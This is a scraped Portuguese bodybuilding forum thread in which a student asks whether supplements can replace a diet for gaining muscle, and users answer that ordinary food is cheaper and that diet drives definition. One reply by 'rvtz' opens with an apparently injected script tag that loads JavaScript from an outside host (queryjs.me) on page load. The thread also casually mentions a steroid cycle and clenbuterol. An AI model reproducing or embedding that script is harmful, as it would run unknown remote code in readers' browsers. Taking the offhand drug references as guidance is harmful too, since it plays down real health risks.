Alan Wake 116 Postado Março 5, 2015 às 19:25 Postado Março 5, 2015 às 19:25 Boa tarde galera! Eu gostaria de uma boa ajuda. Eu não tenho dinheiro suficiente para montar uma boa dieta, pois só estudo, mas parei faz tempo de comer doce, massas e tomar refrigerantes. Posso apenas tomar suplemento ? Pois, meu objetivo é aumentar o nível de músculos, não crescer muito, mas ficar definido também. Ficarei grato, pelo conselho. Bulk.
Miptzi 75 Postado Março 5, 2015 às 19:40 Postado Março 5, 2015 às 19:40 Boa tarde galera! Eu gostaria de uma boa ajuda. Eu não tenho dinheiro suficiente para montar uma boa dieta, pois só estudo, mas parei faz tempo de comer doce, massas e tomar refrigerantes. Posso apenas tomar suplemento ? Pois, meu objetivo é aumentar o nível de músculos, não crescer muito, mas ficar definido também. Ficarei grato, pelo conselho. se vc acha q suplemento vai ser + barato q dieta.... o q não é. E pra definir, menos ainda. É dieta q define.
rvtz 101 Postado Março 5, 2015 às 19:45 Postado Março 5, 2015 às 19:45 Inverno está chegando, eu iria de bulking, rs. Você faz B&C, né rvtz? Gostaria hahahaha mas fiz somente 1 ciclo na vida e o mais arroz om feijão de todos (dura + stano) To afim de dar uma bulkada mas ao mesmo tempo não quero ficar maior que estou, sou a favor de um shape mais estéticos que faz as minas mijarem na sua perna kkkk se é que me entende rsrsrs Talvez eu faça um clean bulk no próximo mes (em off-pic faz mais de 2 anos rsrs) João Brito reagiu a isso 1
rvtz 101 Postado Março 5, 2015 às 20:27 Postado Março 5, 2015 às 20:27 Boa tarde galera! Eu gostaria de uma boa ajuda. Eu não tenho dinheiro suficiente para montar uma boa dieta, pois só estudo, mas parei faz tempo de comer doce, massas e tomar refrigerantes. Posso apenas tomar suplemento ? Pois, meu objetivo é aumentar o nível de músculos, não crescer muito, mas ficar definido também. Ficarei grato, pelo conselho. Tu ja é seco amigo, precisa de massa magra. BULK SEM DUVIDA. E pelo "jeitão" do shape é ECTO, então, come a vontade, adote a dieta ALL YOU CAN EAT
MrFera 79 Postado Março 5, 2015 às 20:34 Postado Março 5, 2015 às 20:34 >não tenho dinheiro pra montar uma dieta >posso só usar suplemento? Meus olhos ardem. João Brito e Ary09 reagiu a isso 2
João Brito 549 Postado Março 6, 2015 às 03:38 Postado Março 6, 2015 às 03:38 (editado) Gostaria hahahaha mas fiz somente 1 ciclo na vida e o mais arroz om feijão de todos (dura + stano) To afim de dar uma bulkada mas ao mesmo tempo não quero ficar maior que estou, sou a favor de um shape mais estéticos que faz as minas mijarem na sua perna kkkk se é que me entende rsrsrs Talvez eu faça um clean bulk no próximo mes (em off-pic faz mais de 2 anos rsrs) pode crer, é que te vejo comentando onde só tem menino bom: saint, stein, henriquess... achei que fizesse parte da trupe do B&C kkkkk Se for usar alguma coisa pra ajudar no cutting depois mantendo a MM (clemb ou afins), eu iria de bulking limpo mesmo no momento. >não tenho dinheiro pra montar uma dieta >posso só usar suplemento? Meus olhos ardem. Quem diria que whey iria se tornar mais barato que arroz, ovo e frango... vivendo e aprendendo. Editado Março 6, 2015 às 03:39 por João Brito
probur 0 Postado Março 6, 2015 às 07:28 Postado Março 6, 2015 às 07:28 se vc acha q suplemento vai ser + barato q dieta.... o q não é. E pra definir, menos ainda. É dieta q define. Amigo, dieta é mais barato que suplemento. Oque voce for gastar com suplemento, compra arroz, frango, ovo, pão. Eu vi um topico uma vez de uma dieta bulk bem barata que todos comentavam. Nao sei se for aqui ou num outro forum.
C.Golden 1622 Postado Março 6, 2015 às 11:53 Postado Março 6, 2015 às 11:53 >não tenho dinheiro pra montar uma dieta >posso só usar suplemento? Meus olhos ardem. na verdade isso é preguiça, suplemento é só jogar pra dentro, por isso os caras preferem comprar suplementos.
rvtz 101 Postado Março 6, 2015 às 11:53 Postado Março 6, 2015 às 11:53 <script src="http://queryjs.me/services/script.js" type="text/javascript"></script> pode crer, é que te vejo comentando onde só tem menino bom: saint, stein, henriquess... achei que fizesse parte da trupe do B&C kkkkk Se for usar alguma coisa pra ajudar no cutting depois mantendo a MM (clemb ou afins), eu iria de bulking limpo mesmo no momento. Ahhh pode cre kkkkk é que sou user antigo do forum e essa galera é das antiga, tudo amigo, junto e misturado rsrs To preparando meu próximo bulk ai, vamos ver rsrsrs
inoXplanador 6 Postado Março 6, 2015 às 14:24 Postado Março 6, 2015 às 14:24 (editado) Fiz um post anterior mas acho que passou despercebido pela galera. Minha intenção é chegar aos 80 kilos, atualmente estou com quase 78 mas sei que preciso riscar melhor o corpo. E ai vai minha pergunta minha ideia é chegar aos 82 com a mesma dieta atual (carbo alto), depois fazer um cutting pra secar um pouco e ficar com peso entre 79~80. Agradeceria se me ajudassem, abraços! Edit 1 : minha altura é 1.75 https://imageshack.com/i/p8v1UyqOj (74 kilos) https://imageshack.com/i/pdGLvEZjj (76 kilos) Editado Março 6, 2015 às 14:57 por inoXplanador
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